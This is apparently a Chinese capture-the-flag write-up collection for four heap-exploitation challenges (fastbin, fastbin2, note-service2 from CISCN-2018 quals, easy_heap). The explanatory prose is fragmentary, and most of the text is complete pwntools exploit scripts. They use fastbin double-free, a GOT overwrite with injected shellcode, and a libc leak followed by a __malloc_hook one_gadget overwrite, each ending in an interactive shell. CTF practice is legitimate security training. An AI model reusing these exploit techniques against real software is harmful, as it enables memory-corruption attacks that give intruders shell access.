查看程序防护:
利用思路:
exp:
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
elf = ELF('./fastbin')
sh = process('./fastbin')
callsystem = 0x804852d
def add(num):
sh.recvuntil('Your choice:\n')
sh.send("1")
sh.recvuntil('id:\n')
sh.send(str(num))
def delete(num):
sh.recvuntil('Your choice:\n')
sh.send("2");
sh.recvuntil('id:\n')
sh.send(str(num))
def read(num, content):
sh.recvuntil('Your choice:\n')
sh.send("3")
sh.recvuntil('id:\n')
sh.send(str(num))
sh.recvuntil('content:\n')
sh.send(content)
sh.recvuntil('Your Name:\n')
sh.send(p32(0) + p32(0x29))
sh.recvuntil('Your home is:')
buff_addr = int(sh.recvline()[:-1], 16)
#print(hex(buff_addr))
add(0)
add(1)
delete(1)
payload = 'a'*32 + p32(0) + p32(0x29) + p32(buff_addr)
read(0, payload)
add(1)
add(2)
payload = 'a'*0x12 + p32(callsystem)
read(2, payload)
#end while
sh.recvuntil('Your choice:\n')
sh.send("4")
sh.interactive()
getshell:
查看程序防护:
使用ida进行反编译:
已知条件:
"/bin/sh"
字符串*buf[id-2]
,参数为*(buf[id]+8)
,并在一定条件下执行利用思路:
"/bin/sh"
字符串exp:
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
elf = ELF('./fastbin2')
sh = process('./fastbin2')
def add(num):
sh.recvuntil('Your choice:\n')
sh.send("1")
sh.recvuntil('id:\n')
sh.send(str(num))
def delete(num):
sh.recvuntil('Your choice:\n')
sh.send("2");
sh.recvuntil('id:\n')
sh.send(str(num))
def read(num, content):
sh.recvuntil('Your choice:\n')
sh.send("3")
sh.recvuntil('id:\n')
sh.send(str(num))
sh.recvuntil('content:\n')
sh.send(content)
def do(num):
sh.recvuntil('Your choice:\n')
sh.send("4")
sh.recvuntil('id:\n')
sh.send(str(num))
system_addr = elf.plt['system']
add(0)
add(1)
add(2)
delete(1)
delete(2)
payload = p32(system_addr).ljust(32, 'a') + p32(0) + p32(0x29) + '/bin/sh\x00'
read(0, payload)
#pwnlib.gdb.attach(proc.pidof(sh)[0])
do(2)
sh.interactive()
getshell:
题目:note-service2
平台:攻防世界 PWN 高手进阶区
原平台:CISCN-2018-Quals
查看程序防护:
使用ida进行反编译:
已知条件:
利用思路:
exp:
#-*- coding: utf-8 -*-
from pwn import *
from ctypes import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./note-service2')
#libc_so = ELF('./')
sh = process('./note-service2')
#sh = remote('', )
def add(index, content):
sh.sendlineafter('choice>> ', '1')
sh.sendlineafter('index:', str(index))
sh.sendlineafter('size:', '8')
sh.sendlineafter('content:', content)
def delete(index):
sh.sendlineafter('choice>> ', '4')
sh.sendline(str(index))
add(0,'/bin/sh')
add((elf.got['free']-0x2020A0)/8,asm('xor rsi,rsi')+'\x90\x90\xe9\x16')
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xe9\x16')
add(2,asm('xor rdx,rdx')+'\x90\x90\xe9\x16')
add(3,asm('syscall')+'\x90'*5)
delete(0)
sh.interactive()
getshell:
查看程序防护:
使用ida进行反编译:
已知条件:
利用思路:
__malloc_hook
函数地址,写入one_gadget的地址;当malloc函数执行时,若__malloc_hook
中有值,便会执行其中的函数exp:
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'amd64'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./easy_heap')
def add(size, content):
sh.recvuntil('4. exit\n')
sh.send('1')
sh.recvuntil('What\'s your heap_size?\n')
sh.send(str(size))
sh.recvuntil('What\'s your heap_content?\n')
sh.send(content)
def delete(index):
sh.recvuntil('4. exit\n')
sh.send('2')
sh.recvuntil('What\'s your heap_index?\n')
sh.send(str(index))
def show(index):
sh.recvuntil('4. exit\n')
sh.send('3')
sh.recvuntil('What\'s your heap_index?\n')
sh.send(str(index))
buff_addr = 0x602060
sh.recvuntil('What\'s your name?\n')
sh.send(p64(0) + p64(49)) #构造chunk头部
#将chunk申请到buff处,写入数据并溢出覆盖chunk_size
add(32, 'a') #id:0
add(32, 'a') #id:1
delete(0)
delete(1)
delete(0)
add(32, p64(buff_addr)) #id:2
add(32, 'a') #id:3
add(32, 'a') #id:4
add(32, 'a'*8 + p64(0x200)) #id:5
#泄露unsortbin的地址
add(256, 'a') #id:6
add(256, 'a') #id:7
delete(6)
show(6)
sh.recvuntil('heap6: ')
ubin = u64(sh.recvline()[:-1].ljust(8, '\x00'))
#print(hex(ubin))
#0x3c4b78:可通过gdb调试计算,不同版本的libc偏移可能不同
#ubin = arena + 0x88,即 libc_base = ubin - (arena-libc_base) - 0x88
libc_base = ubin - 0x3c4b78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
#0xf1147:通过静态分析libc反汇编得到
one_gadget = libc_base + 0xf1147
#1. 将chunk申请到malloc_hook-0x23位置,此时chunk的size为7f(可通过调试观察)
#2. 向malloc_hook中写入one_gadget的地址
#3. 当malloc执行时,会判断__malloc_hook中是否为空,若不为空,则执行其中的函数
add(96, 'a') #id:8
add(96, 'a') #id:9
delete(8)
delete(9)
delete(8)
add(96, p64(malloc_hook-0x23)) #id:10
add(96, 'a') #id:11
add(96, 'a') #id:12
add(96, 'a'*0x13 + p64(one_gadget)) #id:13
#再次调用malloc函数,将会执行one_gadget
sh.recvuntil('4. exit')
sh.send('1')
sh.recvuntil('What\'s your heap_size?\n')
sh.send('16')
sh.interactive()
getshell: